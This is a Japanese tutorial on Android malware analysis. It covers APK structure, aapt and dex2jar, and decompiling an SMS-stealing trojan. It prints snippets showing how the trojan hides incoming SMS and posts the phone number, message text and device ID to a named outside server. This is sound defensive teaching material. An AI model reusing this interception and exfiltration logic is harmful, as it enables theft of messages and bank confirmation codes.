1. APKファイルに関する一般情報
2.マルウェアの分析
2.1解析のためのユーティリティ
2.2分析
1. APK情報
Androidのマルウェア調査の機能をよりよく理解するには、まずAPKファイルが何であるかを理解する必要があります。 これを既に知っている場合は、2番目の部分に直接移動できます。
Androidプログラムはアーカイブで配布されます。 これらのアーカイブの拡張子は「.apk」です。 このようなファイルは暗号化されておらず、実際にはそのサブセットである「zip」形式と互換性があります。
カスタムAndroidアプリケーションはJavaマシンで実行されるため、APKファイルはJARファイルのすべての機能を継承します。
通常、アーカイブの内容は次のようになります。

META-INFカタログには以下が含まれます。
CERT.RSA-アプリケーション証明書
CERT.SF-リソースファイル(写真、サウンドなど)のチェックサム
MANIFEST.MF-apkファイル自体を説明するサービス情報
resディレクトリには、リソースが含まれています-いくつかの解像度のアイコン、xmlファイル内のフォーム上の要素の配置の説明。
AndroidManifest.xml-アプリケーションに関するサービス情報(アプリケーションが作成されたSDKバージョン、アプリケーションが動作するOSバージョンなど)。 このファイルには、いわゆる「許可」も含まれています。これは、アプリケーションが機能するために必要なアクセス許可(ネットワークへのアクセスや電話帳へのアクセスなど)です。
classes.dex-アプリケーションの実行可能コード。 このファイルは、まず私たちに興味を持っています。
resources.arsc-リソースの表。 このファイルには、すべてのリソースのxml記述が含まれています
これが、Android向けのマルウェアの解析を開始するときに知っておく必要があるすべての簡単な情報です。
2.マルウェアの分析
例として、さまざまなアンチウイルスによって検出されるインスタンスを次のように選択しました。
Trojan-Spy.AndroidOS.Zbot.a
Android.Smssniffer
Android / SpySMS
AndroidOS_SMSREP.B
その他のスキャン結果-www.virustotal.com/file-scan/report.html?id=f6239ba0487ffcf4d09255dba781440d2600d3c509e66018e6a5724912df34a9-1310615090
そのため、suspicious.apkファイルがあります。 それをどうしますか?
2.1解析のためのユーティリティ
次のユーティリティが必要です。
Android SDK
dexおよびapkファイルからjar "dex2jar"へのコンバーター
Javaバイトコード逆コンパイラー(jarファイル)が理解可能
すべてのユーティリティは無料でダウンロードでき、クロスプラットフォームなので、WindowsとLinuxの両方ですべてのアクションを実行できます。
2.2分析
最初は、探しているものをより正確に理解するために、ファイル「AndroidManifest.xml」を分析する必要があります-分析されたアプリケーションに必要な特定の権限を確認します。 このファイルはバイナリであり、プレーンテキストxmlではありません。 これを読むには、Android SDKのコンソールユーティリティ「aapt」を使用する必要があります。 platform-toolsディレクトリにあります。 グラフィカルインターフェイスがないため、コマンドはコンソールに入力する必要があります。 たとえば、Windowsの場合:
C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk
もちろん、パスを置き換える必要があります。 Linuxでは、コマンドは同じですが、明らかな違いがあります(ユーティリティにはドライブ文字や「exe」拡張子はありません)。 便宜上、出力をファイルにリダイレクトできます。
C:\android-sdk-windows\platform-tools\aapt.exe l -a C:\incoming\suspicious.apk>>C:\incoming\manifest.txt
このファイルで、「Androidマニフェスト」セクションを見つけ、権限の列挙を探す必要があります。 分析されたファイルでは、次のようになります。
"android.permission.READ_PHONE_STATE" (Raw: "android.permission.READ_PHONE_STATE")
"android.permission.INTERNET" (Raw: "android.permission.INTERNET")
"android.permission." (Raw: "android.permission.RECEIVE_SMS")
この情報から、プログラムが電話のステータスを受信できることが明らかになります(たとえば、「電話モードの電話」、「データ受信モードの電話」、条件の完全なリストが含まれています-developer.android.com/reference/android/telephony/TelephonyManager.html 、この許可は、プログラムが実行されている電話番号を取得し、ネットワークを操作し、SMSの到着を監視するためにも必要です。 これらの側面は、さらなる分析に焦点を当てる必要があります。
コードにアクセスするには、2つのステップを実行する必要があります。apkファイルをjarファイルに変換し、結果のバイトコードをより人間が読める形式に逆コンパイルします。
「dex2jar」コンバーターを使用します。
C:\dex2jar\dex2jar.bat C:\incoming\suspicious.apk
変換されたファイルは、元のファイルと同じディレクトリに配置されます。 「.Dex2jar.jar」が彼の名前に追加されます。つまり、この例では「suspicious.apk.dex2jar.jar」になります。
このファイルは、逆コンパイラで開くことができます。 逆コンパイラウィンドウのパッケージ階層は次のようになります。

簡単な説明に役立つ準備手順はここで終わりです-さらなる成功は、Javaの知識と検索エンジンを使用する能力にのみ依存します。
幸いなことに、この例のために選択されたインスタンスの寸法はかなり控えめです-最終的なjarは7.01 KBのみです。
このプログラムには6つのクラスしかありません。 興味のないものは除外します。 これはクラスRで、すべてのリソースの識別子のみをリストします。 また、考慮から、ビルド構成を含むConfigクラスを除外できます。
残りの3つのクラスをさらに詳しく考えてみましょう。
アクティベーション

このクラスは、onCreateイベントによって、つまり、アプリケーションの起動直後にトリガーされます。
TelephonyManager localTelephonyManager = (TelephonyManager)getSystemService("phone");
-デバイスに関するデータを配置するlocalTelephonyManager構造を作成します
str1 = localTelephonyManager.getDeviceId();
-受信したデータからデバイスの識別番号を選択し、文字列str1に配置します
次に、DeviceIdを4桁に分割し、ハイフン「-」を間に挿入するループです。つまり、XXXX-XXXX-XXXX-XXXXはXXXXXXXXXXXXXXXXから取得されます。 結果の数字とハイフンの文字列は、識別子2131034112でTextViewに渡されます。
Smsreciever

このクラスは、SMSメッセージ、onReceiveイベントが到着するとトリガーされます。
このクラスのタスクは、着信SMSを監視し、検出された場合、MainServiceクラスを実行して、新しいメッセージへのポインターを渡すことです。
メインサービス
このクラスは非常に大きいため、全体を説明しません。 呼び出しの直後に、サブクラス「SmsBlockerThread」を起動します。これにより、着信SMSの通知がブロックされ、ユーザーに新しい着信SMSが通知されなくなります。
次に、着信SMSは次のように処理されます。

String str1 = localSmsMessage.getOriginatingAddress();
-受信者の電話番号(つまり、トロイの木馬がインストールされている電話番号)は変数str1に配置されます。
String str2 = localSmsMessage.getMessageBody();
-メッセージ本文は変数str2に配置されます
次に、関連付けられたペアlocalBasicNameValuePair1とlocalBasicNameValuePair2が作成され、そこに値が配置されます
f0=< >
b0=< >
これらのペアはlocalArrayList配列に格納され、後でlocalBasicNameValuePair3ペアを追加します。
id=<id >

同時に、ご覧のとおり、DeviceIdが再度取得され、Activationクラスで受信されたものは使用されません。
最後のServerSessionクラスからpostRequestメソッドを呼び出すことで終了します。

パラメータは、電話番号、SMSコンテンツ、およびデバイス識別子が渡されるペアの同じ配列です。
ServerSession
このクラスには2つのメソッドがあります。initUrlは、リンクの部分「(http://softthrifty.com/security.jsp)」を返します。

MainServiceクラスから呼び出された大きなpostRequestメソッド。 サイズにもかかわらず、postRequestタスクは単純です。initUrlメソッドによって返されたリンクを使用してサーバーにデータを送信し、MainServiceで収集された配列からペアを追加します。 つまり、リンクに移動するだけです。
(http://softthrifty.com/security.jsp?f0= <phone number>&b0 = <message text>&id = <device id>)
まとめ
そのため、このトロイの木馬はSMSを傍受し、サーバーにリクエストを送信します。サーバーでは、感染した電話番号、SMSコンテンツ、感染した電話の識別子を送信します。 この動作は、2要素認証を攻撃する銀行のトロイの木馬の兆候である可能性があります。 同じ動作は、Symbianモバイルプラットフォーム用のZbotサンプルの典型的なものでした。 攻撃を成功させるには、次の条件が必要です。
1)攻撃者は、オンラインバンキングのデータを傍受するために、被害者のコンピューターに感染しなければなりません。
2)攻撃者は、被害者の電話に感染して、銀行からの確認コードでSMSを傍受する必要があります。
3)攻撃者は、この確認コードのオンラインバンキングの資格情報を知るために、感染したコンピューターのユーザーと感染した電話を何らかの方法で接続する必要があります。
脅威がそのようなマルウェアであるかどうかはわかりませんが、そのサイズとその活動の自明性から、このようなサンプルは、Android向けのマルウェアを解析するための基本的な手法を示すのに適しています。